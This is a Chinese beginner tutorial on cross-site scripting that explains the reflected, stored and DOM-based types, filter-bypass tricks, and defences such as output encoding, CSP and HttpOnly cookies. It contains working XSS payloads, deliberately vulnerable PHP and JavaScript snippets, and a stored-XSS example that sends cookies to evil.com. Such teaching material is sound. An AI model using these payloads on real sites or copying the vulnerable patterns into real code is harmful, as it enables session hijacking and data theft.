Web安全从零开始 - XSS (I)
这是Web安全入门系列的第一篇,主要讲解跨站脚本攻击(XSS)的基础知识。
什么是XSS?
Cross-Site Scripting (XSS) 是一种代码注入攻击。攻击者通过在目标网站中注入恶意脚本,当其他用户浏览该页面时,恶意脚本会在用户的浏览器中执行。
XSS之所以危险,是因为JavaScript可以:
- 读取页面上的所有内容(包括密码输入框)
- 修改页面内容(钓鱼攻击)
- 发送HTTP请求(窃取数据)
- 读取Cookie(会话劫持)
XSS的三种类型
反射型XSS (Reflected XSS)
恶意代码存在于URL参数中,服务端将其原样输出到HTML中:
https://example.com/search?q=<script>alert(document.cookie)</script>
服务端代码:
echo "Search results for: " . $_GET['q'];
特点:
- 需要诱骗用户点击恶意链接
- 恶意代码不存储在服务器
- 每次攻击需要重新发送链接
存储型XSS (Stored XSS)
恶意代码被存储在服务器(数据库、文件等)中,每当用户访问相关页面时都会执行:
<!-- 评论区提交 -->
<textarea name="comment">Great article!<script>fetch('https://evil.com/steal?c='+document.cookie)</script></textarea>
特点:
- 不需要用户点击特殊链接
- 影响范围更广(所有访问该页面的用户)
- 危害更大
DOM型XSS (DOM-based XSS)
恶意代码通过客户端JavaScript直接操作DOM产生:
// 漏洞代码
document.getElementById('output').innerHTML = location.hash.slice(1);
https://example.com/page#<img src=x onerror=alert(1)>
特点:
- 恶意代码不经过服务器
- 服务器端WAF无法检测
- 需要审计客户端JavaScript代码
基本绕过技巧
HTML实体编码绕过
如果过滤了<script>标签:
<img src=x onerror=alert(1)>
<svg onload=alert(1)>
<body onpageshow=alert(1)>
<input onfocus=alert(1) autofocus>
大小写绕过
<ScRiPt>alert(1)</ScRiPt>
<IMG SRC=x OnError=alert(1)>
编码绕过
<!-- HTML实体编码 -->
<img src=x onerror=alert(1)>
<!-- URL编码 -->
<a href="javascript:%61lert(1)">click</a>
<!-- Unicode编码 -->
<script>\u0061lert(1)</script>
标签属性注入
当输入被放入HTML属性中:
<!-- 原始代码 -->
<input value="USER_INPUT">
<!-- 攻击payload -->
" onfocus=alert(1) autofocus="
<!-- 结果 -->
<input value="" onfocus=alert(1) autofocus="">
防御措施
输出编码
根据输出上下文选择正确的编码方式:
- HTML上下文: 使用HTML实体编码 (
<-><) - JavaScript上下文: 使用JavaScript编码 (
'->\') - URL上下文: 使用URL编码 (
<->%3C) - CSS上下文: 使用CSS编码
Content Security Policy (CSP)
Content-Security-Policy: script-src 'self'; object-src 'none'
CSP通过白名单机制限制页面可以加载和执行的资源。
HttpOnly Cookie
Set-Cookie: session=abc123; HttpOnly
HttpOnly标志防止JavaScript读取Cookie,降低会话劫持风险。
练习平台
- XSS Game (Google)
- PortSwigger Web Security Academy
- DVWA (Damn Vulnerable Web Application)
- HackTheBox
下一篇
在下一篇文章中,我将介绍更高级的XSS技巧,包括CSP绕过、Mutation XSS和DOM Clobbering。
参考资料
- OWASP XSS Prevention Cheat Sheet
- PortSwigger Web Security Academy - XSS
- LiveOverflow XSS系列视频